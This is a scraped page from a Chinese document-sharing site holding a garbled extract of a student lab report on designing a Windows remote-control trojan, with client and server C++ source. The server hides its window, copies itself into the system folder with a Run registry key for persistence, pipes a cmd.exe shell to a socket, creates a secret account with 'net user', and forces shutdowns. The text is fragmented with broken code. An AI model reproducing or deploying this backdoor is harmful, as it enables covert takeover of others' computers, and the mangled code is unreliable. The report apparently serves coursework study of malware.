ImageVerifierCode 换一换
格式:DOCX , 页数:19 ,大小:187.85KB ,
资源ID:7851511      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bingdoc.com/d-7851511.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(远程控制与木马程序设计Word格式.docx)为本站会员(b****4)主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(发送邮件至service@bingdoc.com或直接QQ联系客服),我们立即给予删除!

远程控制与木马程序设计Word格式.docx

1、5实验结果及结论客户端运行后如下图所示:1、输入“add”命令后,创建用户成功服务器端提示命令成功用命令行查看用户情况用户“yaoxiangwen”已经成功创建2、输入”shutdown”后,电脑自动关闭成功3、输入”reset”后,电脑自动重启4、输入”close”后,光驱关闭5、输入”open”后,光驱自动打开6、输入”shell”后,查看任务管理器如下图Cmd命令行已经被创建7、输入quit后,服务器端成功退出8、重启系统后,服务器端成功自动启动,说明软件开机具有自启动功能。6附录:程序清单及说明程序清单:Client.cpp / 客户端代码Server.cpp / 服务器端代码程序代码

2、及说明:/Client.cpp文件#include /包含标准输入输出库winsock.h /包含windows套接字函数iostreamusing namespace std;#pragma comment(lib,Ws2_32) /将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 /每次可以接收的最大字节 #define SEND_PORT 2000 /与木马程序连接的端口为2000struct sockaddr_in ClientAddr; /对方的地址端口信息SOCKET sock; /定义套接字变量,为全局变量DWORD startSoc

3、k() /建立套接字功能模块 WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock = socket(AF_INET, SOCK_STREAM, 0); /连接对方 return 1;int main(int argc, char *argv) u_int numbyte; char bufMAXSIZE; /传送数据的缓冲区 cha

4、r ip100; coutip; startSock();/调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; /协议类型是INET ClientAddr.sin_port = htons(SEND_PORT); /连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(ip); /连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr); printf(-远程控制木马程序菜单-rnadd -建立Windows系统

5、的秘密帐号rnshutdown -关闭Windows计算机rnreset -重新启动Windows计算机rnclose -关闭光驱rnopen -打开光驱rnshell -建立cmd进程rnquit -退出系统rnBIT-gaoping-rn while(1) buf0 = 0; scanf(%s,buf);/输入控制指令 int iLen = strlen(buf); bufiLen = 0xa; bufiLen+1 = /要求控制指令串最后为回车符,以示结束 numbyte=send(sock, buf, strlen(buf), 0);/发出控制指令 if(numbyte=SOCKET_

6、ERROR) closesocket(sock); break; numbyte=recv(sock, buf, MAXSIZE, 0);/接收服务端发来的提示符 bufnumbyte = /显示服务端发来的提示符 if(strcmp(buf, quit) = 0 ) return 0; return 0;/Server.cpp文件winsock2.h /包含标准输入输出函数mmsystem.h /光驱控制函数mciSendString()所需的头文件 /包含C+系统输入输出函数string /包含字符串处理函数winuser.h /WinExec()函数所需的头文件)/将注释wsock32放

7、置到lib文件中,否则需要加载Winmm.lib)/光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 /木马服务端对外响应的端口#define PATH 200 /程序自启动的最大路径SOCKET sock1,sock2;/sock1为服务端程序自身建立的套接字/sock2为服务端与客户端建立响应后的套接字int g1;char Buff1024,cmd1024;/缓冲区 sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); /建立套接字,为TCP/IP、流式格式 str

8、uct sockaddr_in serverAddr; /保存套接字地址的结构体 serverAddr.sin_family = AF_INET; /规定使用IPv4协议 serverAddr.sin_port = htons(RECV_PORT); /响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr); /绑定端口与套接字 g1=listen(sock1,5);/等待监听,最大可接受5个连接请

9、求 int serverAddrSize = sizeof(serverAddr); sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize); /如果客户请求2000端口,接受连接,并返回sock2套接字int cmdshell(SOCKET sock) /建立cmd进程功能模块 STARTUPINFO startinfo; /控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_

10、USESTDHANDLES; / 决定本结构的每一个成员是否起作用 startinfo.wShowWindow = SW_HIDE;/窗口显示模式,隐藏格式 startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock; /标准输入输出管道 char cmdsystem = cmd/cmd进程 PROCESS_INFORMATION ProcessInformation;/ 指向进程信息结构的指针 int g2; /下面为建立进程过程 g2=CreateProcess(NULL,cmdsystem

11、,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation); /建立一个cmd.exe进程与相应的输入输出管道 WaitForSingleObject(ProcessInformation.hProcess, INFINITE);/等待子进程退出 TerminateProcess(ProcessInformation.hProcess, 0); /在一个子进程中强制结束其他的进程 CloseHandle(ProcessInformation.hProcess);/关闭子进程句柄DWORD startExeFile() /自启动程序功能模块

12、char ExeFilePATH; /木马程序缓冲区 char TempPathPATH;/系统目录缓冲区 int g3; GetModuleFileName(NULL,ExeFile,PATH);/得到当前文件名 GetSystemDirectory(TempPath ,PATH); /得到系统目录 strcat(TempPath,server.exe/拷贝到系统文件夹名为server.exe g3 = CopyFile(ExeFile, TempPath, FALSE); HKEY key;/关键字句柄 if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, Softw

13、areMicrosoftWindowsCurrentVersionRun, 0, KEY_ALL_ACCESS, &key ) = ERROR_SUCCESS) /创建和打开一个关键字 RegSetValueEx(key,server,0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath); / 在RUN键下建立一个server键,为该木马的路径 RegCloseKey(key); /关闭并保存DWORD Open_CDROM()/打开光驱程序功能模块 mciSendString(set cdaudio door open, NULL, 0, NULL); /多

14、媒体控制函数DWORD Close_CDROM()/关闭光驱程序功能模块 mciSendString(Set cdaudio door closed wait, NULL, 1, NULL);/多媒体控制函数return 1;DWORD shutdownwin2k()/关闭Win2K程序功能模块 HANDLE hToken; TOKEN_PRIVILEGES tkp; / Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUE

15、RY, &hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges0.Luid); tkp.PrivilegeCount = 1; / 设置一个权限 tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);DWORD shutdownwin98

16、()/关闭Win98程序功能模块 ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0);DWORD resetwin98()/重新启动Win98程序功能模块 ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0);DWORD resetwin2k()/重新启动Win2K程序功能模块 / Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);DWORD adduser()/建立秘密帐号程序功能模块 WinExec(net user

17、yaoxiangwen 0123456789 /add,SW_HIDE); /建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码/下面为主函数,通过调用各个功能模块来实现木马功能int main() startExeFile();/ startSock() ; unsigned long ByteRead = 0; send(sock2,远程控制系统,请输入你的选择!nrcmd,sizeof(欢迎进入木马远程控制系统,请输入你的选择!),0); ZeroMemory(cmd,1024); /初始化cmd缓冲区,用来装客户端发来的指令 ByteRead = 0; /接收客

18、户端发来的指令字节数 while(ByteRead else if(strcmp(cmd,close Close_CDROM(); /调用关闭光驱模块程序shell)=0) cmdshell(sock2); /调用CMD进程模块程序Create the cmd Shell OKnrcmdshutdown98 shutdownwin98();/调用关闭Win98系统计算机模块程序shutdown the windows98 OKnrcmdshutdown shutdownwin2k();/调用关闭Win2K系统计算机模块程序shutdown the windows2k OKnrcmdreset9

19、8 resetwin98(); /调用启动Win98系统计算机模块程序reset the windows98 OKnrcmdreset resetwin2k(); /调用启动Win2K系统计算机模块程序reset the windows2k OKnrcmdadd adduser(); /调用建立秘密帐号模块程序net user yaoxiangwen 0123456789 /add OKnrcmdnet user xxdk gao/add OKnrcmd /退出木马,并关闭套接字 closesocket(sock2); exit(0); else Bad command,Please input the word try againnrcmd /显示输入有误,重新输入 Sleep(10); /延时

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2